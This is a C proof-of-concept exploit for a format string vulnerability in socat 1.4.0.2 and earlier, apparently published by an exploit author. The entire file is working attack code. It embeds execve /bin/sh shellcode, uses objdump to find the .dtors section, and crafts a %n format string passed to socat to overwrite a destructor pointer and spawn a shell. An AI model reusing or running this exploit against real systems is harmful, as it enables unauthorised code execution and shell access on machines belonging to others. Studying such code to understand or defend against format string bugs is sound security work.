/* socat_exp.c
   
   Socat Format String Vulnerability

   socat <= 1.4.0.2 local exploit (Proof of Concept)

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/socat"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
	"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
	"\x2f\x73\x68";
  
int check(unsigned long addr);

int main(int argc, char *argv[]) {
  
	int i, dtorsaddr;
	unsigned int bal1, bal2, bal3, bal4;
	char temp[512];
	char buffer[1024];
	int cn1, cn2, cn3, cn4;
	FILE *f;
	char *env[3] = {shellcode, NULL};
	int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);
      
	sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
	f = popen(temp, "r");
	if(fscanf(f, " %08x", &dtorsaddr) != 1) {
		pclose(f);
		printf("Cannot find .dtors address\n");
		exit(1);
	}
	pclose(f);
	dtorsaddr = dtorsaddr + 4;
  
	printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");
	printf(" by CoKi <coki@nosystem.com.ar>\n\n");
	printf(" shellcode address = %.8p\n", shaddr);
	printf(" .dtors address    = %.8p\n\n", dtorsaddr);
  
	bzero(temp, sizeof(temp));
	bzero(buffer, sizeof(buffer));
  
	strcat(buffer, "-ly");
      
	for(i = 0; i < 4; i++) {
		bzero(temp, sizeof(temp));
		sprintf(temp, "%s", &dtorsaddr);
		strncat(buffer, temp, 4);
		dtorsaddr++;
	}
  
	bal1 = (shaddr & 0xff000000) >> 24;
	bal2 = (shaddr & 0x00ff0000) >> 16;
	bal3 = (shaddr & 0x0000ff00) >>  8;
	bal4 = (shaddr & 0x000000ff);
  
	cn1 = bal4 - 27 - 16;
	cn1 = check(cn1);
	cn2 = bal3 - bal4;
	cn2 = check(cn2);
	cn3 = bal2 - bal3;
	cn3 = check(cn3);
	cn4 = bal1 - bal2;
	cn4 = check(cn4);

	sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);
                
	strcat(buffer, temp);

	execle(PATH, "socat", buffer, NULL, env);
}

int check(unsigned long addr) {
	char tmp[128];
	snprintf(tmp, sizeof(tmp), "%d", addr);
	if(atoi(tmp) < 1)
		addr = addr + 256;
  
	return addr;
}